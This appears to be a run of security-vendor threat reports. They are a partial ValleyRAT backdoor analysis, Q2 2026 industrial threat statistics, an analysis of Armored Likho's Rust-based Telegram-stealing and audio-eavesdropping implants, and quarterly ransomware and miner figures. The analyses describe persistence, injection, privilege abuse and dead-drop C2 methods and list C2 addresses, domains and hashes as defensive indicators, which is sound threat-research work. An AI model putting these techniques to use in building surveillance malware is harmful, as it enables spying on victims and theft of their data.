During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.

Some of the configuration fields are listed below:

Key	Description
p?	C2 server IP address
o?	C2 server port
t?	Protocol (1: TCP, 0: UDP)
dd	Sleep duration before executing the main code
cl	Sleep duration after receiving the corresponding command from the server
bz	Configuration creation date
bh	Whether to mark the current process as critical (so that terminating it triggers a blue screen of death) Possible values: 1: yes, 0: no
ll	Whether to check for running security/traffic-analysis tools/processes (1: check, 0: do not check)
sh	Whether to inject code into svchost that will restart the malicious process (1: inject, 0: do not inject)

The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:

• Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
  

  Injecting code into svchost

  The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.

  

  Injected function

• Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.
  

  Setting its own process as critical

• Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.
  

  Restarting on exceptions

The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.

If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:

After completing these checks, the backdoor collects system information, including:

• Host name
• Host IP addresses
• User idle time
• Detailed Windows version information (ProductName, EditionId, DisplayVersion)
• Number of CPU cores
• Free disk space
• Graphics adapter
• Currently focused window and its title
• System bitness
• Language settings
• Path to the system directory

On command, the backdoor can perform the actions typical of this malware category:

• Rebooting the computer
• Shutting down the computer
• Taking a screenshot
• Wiping logs
• Updating its C2 addresses
• Downloading additional modules
• Sending keylogger logs along with clipboard contents

Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.

Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.

If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.

Targets and attribution

Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.

This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.

Conclusion

This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.

Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.

For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.

IoC

MD5

07ddbbe2c71c45577a7a4fbcdba0df91
c24e99f9437feacaa63766a3cde3fe3d
8a626d844943da3456b044f38deae3a2

Network

103.45.66.18:441
103.45.66.18:442
103.45.66.18:443
192.253.225.173:6666
192.253.225.173:8888

All threats

In Q2 2026, the percentage of ICS computers on which malicious objects were blocked continued to decrease, falling to 19.15%, its lowest level since 2022.

Regionally, the percentages ranged from 8.1% in Northern Europe to 27.9% in Africa.

The figures increased in five regions over the quarter, most notably in East Asia (by 2.0 pp) and Africa (by 0.5 pp).

East Asia saw increases in percentages for all threats except miners. The region ranked first in terms of growth for malicious scripts and phishing pages, spyware, and viruses. East Asia also led in terms of growth in threats from the internet. The percentage of ICS computers on which email threats were blocked also increased.

Selected industries

The biometrics sector (26.44%) has traditionally led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked. Biometric systems are characterized by the availability of internet access, extensive email use for data exchange and approvals (e.g. access granting), and, in many cases, minimal cybersecurity controls within the organizations that use them.

The biometrics sector ranked first among industries in terms of the following threat categories: malicious scripts and phishing pages, malicious documents, spyware, ransomware, and worms. The sector is also leading among industries in terms of email threats. At the same time, unlike other industries, the percentage of affected ICS computers for email threats in biometrics exceeds that for internet threats.

In all selected industries, the global average follows a downward trend.

Threat categories

In Q2 2026, Kaspersky security solutions blocked malware from 10,904 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which malicious objects of the following categories were blocked increased: denylisted internet resources, malicious documents, worms, ransomware, and malware for AutoCAD.

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages remained in first place in the threat category rankings based on the percentage of ICS computers on which the respective threats were blocked. In Q2 2026, the global average dropped to 5.42%.

Over the quarter, the figure for this category only increased in East Asia, rising by 0.93 pp to 4.86%. This is the second-highest figure in the region in the last three years.

In East Asia, the percentage of ICS computers affected by malicious scripts and phishing pages increased in all the industries surveyed, except construction. The highest figures were recorded for biometrics (9.01%) and building automation (6.49%).

Denylisted internet resources

In Q2 2026, denylisted internet resources rose in the threat category rankings from third to second place, displacing spyware. Globally, the percentage of ICS computers on which denylisted internet resources were blocked has been increasing for two quarters in row and reached 4.31%.

The figures increased in all regions over the quarter, most notably in Russia (by 1.33 pp). Moreover, Russia ranked first (5.17%) among the regions in terms of denylisted internet resources. Since 2022, the region has topped these rankings twice before, both times in Q2: in 2022 and 2024.

Among the selected industries in Russia, the highest figures for the denylisted internet resources were in the electric power (6.61%) and engineering and ICS integration (5.62%) industries.

Malicious documents (MSOffice + PDF)

Malicious documents ranked fourth in the threat category rankings by the percentage of ICS computers on which they were blocked. The percentage for this category decreased over the previous three quarters, reaching its lowest level in three years. However, in Q2 2026, it increased to 1.77%.

Over the quarter, the figures for malicious documents increased in seven regions, most notably in South America (by 1.35 pp) and Southern Europe (by 0.48 pp). These two regions are among the top three in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients.

South America ranked second in the rankings of regions in terms of malicious documents. In Q2 2026, the percentage of ICS computers in the region on which this threat was blocked was 3.56%, which was the fourth highest in three years.

Among the selected industries in South America, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (6.67%).

Southern Europe ranked first in the rankings of regions in terms of malicious documents. In the previous quarter, the percentage of ICS computers in the region on which this threat was blocked was the lowest in three years, but in Q2 2026 it increased to 3.63%.

Among the selected industries in Southern Europe, the highest percentage of ICS computers on which malicious documents were blocked was once again in biometrics (11.48%).

Spyware

Spyware ranked third in the threat category rankings based on the percentage of ICS computers on which it was blocked. The percentage for this category (3.30%) is the lowest since 2022.

Over the quarter, the figures increased in three regions, most notably in East Asia (by 0.53 pp) and Southeast Asia (by 0.42 pp).

East Asia ranked third based on the figures for spyware (4.77%), behind Africa and Southeast Asia. This is the region’s highest rate since Q2 2025. Among the countries and territories in the region, the highest percentage of ICS computers on which spyware was blocked was in mainland China (6.61%). Among the selected industries in East Asia, the highest figures for spyware were in the electric power (11.75%) and manufacturing (5.87%) industries. In all the industries surveyed, the figures are higher than the regional average.

Southeast Asia ranked second after Africa in the ranking of regions in terms of spyware, with 5.32%. Among the selected industries in Southeast Asia, the highest figures for spyware were in biometrics (8.93%) and manufacturing (7.32%). The figures increased in all industries over the quarter.

Ransomware

The percentage of ICS computers on which ransomware was blocked decreased in the previous three quarters but increased to 0.16% in Q2 2026.

During the quarter, the percentage increased in all regions, except Western and Southern Europe and North America (Canada). Africa led the ranking in terms of growth for this metric.

In Q2 2026, Africa ranked first among the regions in terms of the percentage of ICS computers on which ransomware was blocked (0.29%). The only time the figure in the region was higher in the past three years was Q2 2025 (0.31%).

Among the selected industries in Africa, the highest figures for ransomware were in the electric power industry (0.72%) and biometrics (0.52%). Over the quarter, the figures increased in all industries, except manufacturing and construction. The biggest increase was recorded in the electric power industry.

In Russia, the percentage of ICS computers on which ransomware was blocked in biometric systems has increased for three consecutive quarters, reaching 1.22%. This is the highest level of ransomware across all industries in all regions.

Miners

In Q2 2026, the percentage of ICS computers on which miners were blocked was the lowest since 2021, for both miners in the form of executable files for Windows (0.48%) and web miners running in browsers (0.14%).

The figures for both categories decreased in all regions, except for Africa where figures for miners in the form of executable files for Windows increased slightly.

On average, the oil and gas industry led the rankings among the selected industries both in terms of miners in the form of executable files for the Windows OS (0.66%) and in terms of web miners (0.34%).

Worms

In Q2 2026, the percentage of ICS computers on which worms were blocked increased to 1.43%.

In Q2 2026, the Middle East (2.11%) was second (after Africa) in the rankings of regions in terms of worms, displacing Central Asia and the South Caucasus.

Among the selected industries in the Middle East, the highest percentage of ICS computers on which worms were blocked was in building automation (2.90%). Over the quarter, the figures increased in all industries.

Australia and New Zealand ranked 12th among the regions in terms of the percentage of ICS computers on which worms were blocked (0.41%). Over the past three years, the figure in this region was only higher in Q2 2024 (0.42%). The figures increased in all the surveyed industries in the region, most notably in manufacturing and electric power. As a result, for these industries they exceeded the regional average by 2.9 and 2.3 times, respectively.

Viruses

In Q2 2026, the percentage of ICS computers on which viruses were blocked decreased to 1.29%.

The top three regions for this metric remain unchanged: Southeast Asia (6.03%), Africa (4.22%), and East Asia (3.14%). These same regions lead the rankings in terms of malware for AutoCAD.

The figures increased in three regions: East Asia, Australia and New Zealand, and Africa, where it has been growing for four consecutive quarters and reached its highest value since 2022.

Among the selected industries in Africa, the highest percentage of ICS computers on which viruses were blocked was in construction (5.47%).

East Asia ranked third among the regions in terms of viruses, reaching the highest level in the region for the past three years. Among the countries and administrative regions of East Asia, mainland China is the clear leader in terms of viruses (5.07%).

Among the selected industries in East Asia, the highest percentage of ICS computers on which viruses were blocked was in construction (5.93%).

In Australia and New Zealand, the increase in the percentage of ICS computers on which viruses were blocked was primarily due to a 4.3-fold increase in the figure for the electric power industry: from 0.29% to 1.24%. For a region where the percentage of attacked ICS computers for all threats is 0.12%, this is a very high value.

Malware for AutoCAD

In Q2 2026, the percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.31%.

The most notable increase over the quarter was observed in Africa. After more than doubling in the previous quarter, the figure for the region continued to rise (although not so dramatically), reaching 1.02%.

Among the selected industries across all regions, the highest percentage of ICS computers on which malware for AutoCAD was blocked was in construction in East Asia (6.38%) and in Southeast Asia (4.05%).

Main threat sources

In Q2 2026, of all the threat sources, the percentage increased only for email.

Internet

The percentage of ICS computers on which threats from the internet were blocked decreased to 7.61%, reaching its lowest level since 2021.

Over the quarter, the percentage increased in three regions: East Asia by 0.8 pp (to 6.3%), South Asia by 0.3 pp (to 10.4%), and Russia by 0.3 pp (to 6.4%).

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from the internet were blocked was in biometrics (13.03%) and engineering and ICS integration (12.16%) in South Asia.

Email

The percentage of ICS computers on which email threats were blocked increased to 2.84%.

In Q2 2026, the percentage of ICS computers on which email threats were blocked increased in South America by 1.0 pp (to 5.2%) and in Africa by 0.7 pp (to 4.3%).

Among the selected industries across all regions, the highest percentage of ICS computers on which email threats were blocked was in biometrics (19.14%) and building automation (12.49%) in Southern Europe.

Removable media

The percentage of ICS computers on which threats from removable media were blocked continued to decrease, reaching 0.24%, the lowest value for the period under review.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from removable media were blocked was in the electric power industry in East Asia (1.34%) and biometrics in Africa (1.29%).

Network folders

The percentage of ICS computers on which threats from network folders were blocked continued to decrease. In Q2 2026, it was the lowest for the period under review, at 0.023%.

The only region to see an increase in the percentage of ICS computers on which threats from network folders were blocked during the quarter was Africa. This was mainly due to an increase in the building automation figure to 0.05%.

Among the selected industries across all regions, the highest percentage of ICS computers on which threats from network folders were blocked was in biometrics (0.23%), building automation (0.17%), and engineering and ICS integration (0.13%) in East Asia.

For more information on industrial threats see the full version of the report.

In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.

We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.

During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.

The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.

In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.

Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.

Background

Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.

Initial infection

The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.

In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.

After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.

Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.

Still Sync

Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.

Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.

How it works

When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:

• STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
• STILL_SEND_PATH: the path to the tdata
• STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.

Sync also supports several command-line arguments:

• --console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
• --version: prints version information and exits.
• --firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
• --db: turns on debug mode with detailed logging.

Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:

• Motherboard serial number
• CPU ID
• System UUID
• BIOS serial number
• Computer domain name

The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.

Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.

Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:

• enabled: triggers malicious activity on the infected device.
• scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
• fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
• download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.

These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.

Telegram data collection

Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:

• C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
• C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
• C:\: used for the extended search (if the scan_portable option is on).

Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:

• snapshot_id: an identifier the server assigns to the current data snapshot.
• present: a list of file paths that are already present on the server.

This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:

• Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
• Creating a backup copy through the Shadow Copy service and reading files from there
• If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode

Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:

• User details, such as username, phone number, first and last name
• Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
• Dialogs from private chats, groups, and channels (if the download_channels option is on)
• Media files under 250MB: photos, documents, stickers, and contacts

Still Audio

Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.

On launch, Still Audio performs a sequence of actions:

• It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
• If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
• While running in the background, it creates a file, logfile.log, to write logs to.

Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.

Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json

The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.

Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:

/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.

The server responds with settings for the implant:

• machine_id: a unique identifier for the current device.
• vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
• max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
• max_buffer_size: the maximum buffer size for recorded audio data.
• active_device: the name of the input device selected for recording, from the list of available devices.

The eavesdropping process

Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.

The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.

Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:

Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.

Infrastructure

This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:

• They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
• Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.

Domain	IP address	Registration date	ASN
orderapiserver[.]info	187.127.153[.]38	April 18, 2026	47583
tg4service[.]com	159.198.37[.]74	October 4, 2025	22612
srwinservice[.]com	213.252.244[.]123	March 19, 2026	61272
screenserv[.]com	23.26.237[.]250	February 13, 2026	149440
windowserv[.]net	23.27.24[.]30	February 10, 2026	149440
managementapiservice[.]com	188.212.124[.]178	May 1, 2026	202448
service8date[.]com	145.223.69[.]143	January 13, 2026	215311
updateservs[.]com	145.223.68[.]66	December 23, 2025	215311

Victims

In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.

Attribution

This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:

• Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
• The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
• Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
• Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.

Takeaways

The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.

One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.

The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.

Indicators of compromise

Additional information about this threat, indicators of compromise included, is available to customers of Kaspersky Threat Intelligence Reporting. Contact intelreports@kaspersky.com for more details.

File hashes
Droppers
C1D1EE16B92E6A138FFA048855F75D7D
17674B250D8B422A50A86C9FF207186D
62801F6223E860A7CCA271522E303B2D

Still Sync
68F0365D2FA8C828D012D8859E52A773
4BD7C352AE277B0E38D07BEEDD4DD507
D4BC09FB10EA2A5DC0BCBEEDA5E5AFDD

Still Audio
2CA8ADBAB98EBE305EACF272CF48F5A0
3AC41B097236A7723821848AE31EF141
439255736797BC88BD19F282449E0436

Domains
orderapiserver[.]info
tg4service[.]com
srwinservice[.]com
screenserv[.]com
windowserv[.]net
managementapiservice[.]com
service8date[.]com
updateservs[.]com

IT threat evolution in Q2 2026. Non-mobile statistics
IT threat evolution in Q2 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q2 2026:

• Kaspersky products blocked nearly 400 million attacks that originated with various online resources.
• Web Anti-Virus responded to 52 million unique links.
• File Anti-Virus blocked more than 16 million malicious and potentially unwanted objects.
• There were 2538 new ransomware variants discovered.
• More than 71,000 users experienced ransomware attacks.
• 15% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were attacked by Qilin.
• More than 213,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Threat actor disruption

Microsoft has dismantled an illicit malware-signing service used by ransomware operators. Microsoft’s Digital Crimes Unit has shut down a malware-signing-as-a-service (MSaaS) operation run by the threat group Fox Tempest. The illicit service abused the Microsoft Artifact Signing platform to generate digital signature certificates for malicious software. Malware signed by these certificates was observed in campaigns conducted by such ransomware groups as Rhysida, Akira, INC, Qilin, and BlackByte. The service was also leveraged by operators of the Oyster loader as well as the Lumma and Vidar infostealers. To disrupt the operation, Microsoft seized the domain used by the MSaaS platform, revoked all associated certificates, and disabled the related accounts. Additionally, the company filed a lawsuit against Fox Tempest.

Vulnerabilities and attacks

CISA has confirmed that a Windows vulnerability known as BlueHammer is actively being exploited in ransomware attacks. On April 22, the agency updated its Known Exploited Vulnerabilities (KEV) catalog to note the ongoing ransomware exploitation of CVE-2026-33825. The local privilege escalation flaw in Microsoft Defender was originally disclosed earlier in April. Although Microsoft released a fix on April 14, unpatched systems remain vulnerable. CISA did not disclose further details or attribute the attacks to specific threat groups.

Check Point has linked zero-day exploitation of CVE-2026-50751 to the Qilin ransomware group. The critical vulnerability affects Check Point Remote Access VPN and Mobile Access. Attackers began exploiting the flaw as a zero-day on May 7, with activity spiking sharply in early June. While several dozen organizations have been targeted, at least one incident has been definitively tied to Qilin. Check Point also disclosed a related certificate validation flaw (CVE-2026-50752) that affects site-to-site VPN connections relying on the legacy IKEv1 key exchange protocol.

Researchers assess with high confidence that the PayoutsKing group is leveraging the legitimate QEMU emulator to deploy hidden, Alpine Linux-based virtual machines on compromised hosts. Because security solutions often lack visibility inside virtualized environments, the threat actors use this technique to evade detection. Inside the VM image, the operators deploy various tools — such as credential theft software — and configure the virtual machine as a backdoor managed via a reverse SSH tunnel to their command-and-control infrastructure. While the technique is not new, and we’ve detailed it before, it remains relatively rare in ransomware attacks.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. Qilin reclaimed the top spot (accounting for 14.57% of total listings) after placing second last quarter. It is followed by the Akira ransomware (7.80%) and the DragonForce RaaS group (6.88%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new ransomware variants

In Q2, Kaspersky solutions detected four new ransomware families and 2538 new modifications. This signals a continued stabilization following spikes seen in Q1 and Q4 of last year.

Number of new ransomware modifications, Q2 2025 — Q2 2026 (download)

Number of users attacked by ransomware Trojans

Our solutions protected a total of 71,860 unique users from ransomware during Q2. Ransomware activity peaked in April, with 31,206 targeted users recorded during that month.

Number of unique users attacked by ransomware Trojans, Q2 2026 (download)

TOP 10 countries and territories attacked by ransomware Trojans

	Country/territory*	%**
1	South Korea	0.87
2	Pakistan	0.76
3	China	0.71
4	Libya	0.49
5	Tajikistan	0.46
6	Turkmenistan	0.38
7	Cameroon	0.38
8	Indonesia	0.36
9	Bangladesh	0.36
10	Mozambique	0.34

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

	Name	Verdict	%*
1	(generic verdict)	Trojan-Ransom.Win32.Gen	28.02
2	WannaCry	Trojan-Ransom.Win32.Wanna	7.14
3	(generic verdict)	Trojan-Ransom.Win32.Crypren	6.27
4	(generic verdict)	Trojan-Ransom.Win32.Agent	4.89
5	(generic verdict)	Trojan-Ransom.Win32.Encoder	4.65
6	(generic verdict)	Trojan-Ransom.Python.Agent	3.07
7	(generic verdict)	Trojan-Ransom.Win32.Crypmod	2.70
8	(generic verdict)	Trojan-Ransom.MSIL.Agent	2.45
9	PolyRansom/VirLock	Virus.Win32.PolyRansom / Trojan-Ransom.Win32.PolyRansom	2.31
10	(generic verdict)	Trojan-Ransom.Win32.Phny	2.12

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new miner variants

In Q2 2026, Kaspersky solutions detected 6067 new miner variants, almost twice the number for the previous reporting period.

Number of new miner modifications, Q2 2026 (download)

Number of users attacked by miners

In Q2, we detected attacks using miner programs on the computers of 213,003 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q2 2026 (download)

TOP 10 countries and territories attacked by miners

	Country/territory*	%**
1	Mali	1.56
2	Senegal	1.54
3	Tanzania	1.32
4	Panama	1.04
5	Bangladesh	1.03
6	Ethiopia	0.87
7	Costa Rica	0.67
8	Bolivia	0.67
9	Côte d’Ivoire	0.65
10	Kazakhstan	0.62

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

Quarterly highlights

In April, Aikido researchers reported a new attack by the GlassWorm stealer, which was distributed via malicious IDE extensions on the Open VSX Registry. The payload operated by installing a secondary malicious extension across all installed IDE environments on the host machine. Ultimately, this second-stage implant exfiltrated crypto wallet data, environment variables, and other secrets. It also installed a RAT on the infected device.

In May, Socket researchers uncovered a supply chain compromise involving the popular npm package art-template. As a result of the breach, the weaponized package injected the Coruna exploit kit into web applications it was used to build. Coruna targets iOS devices.

In June, Palo Alto Networks’ Unit 42 discovered FlutterShell, a new backdoor family that targets macOS devices. Developed with the Flutter framework, the malware leverages the WebView engine to load web pages that contain malicious JavaScript. On the client side, the backdoor registers bridge functions invoked by the loaded JavaScript that allow threat actors to execute arbitrary payloads on the victim’s device. Notably, the malicious applications successfully passed Apple notarization. Although the specific samples analyzed functioned primarily as adware, the underlying architecture permits the delivery of far more sophisticated malicious payloads.

TOP 20 threats to macOS

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

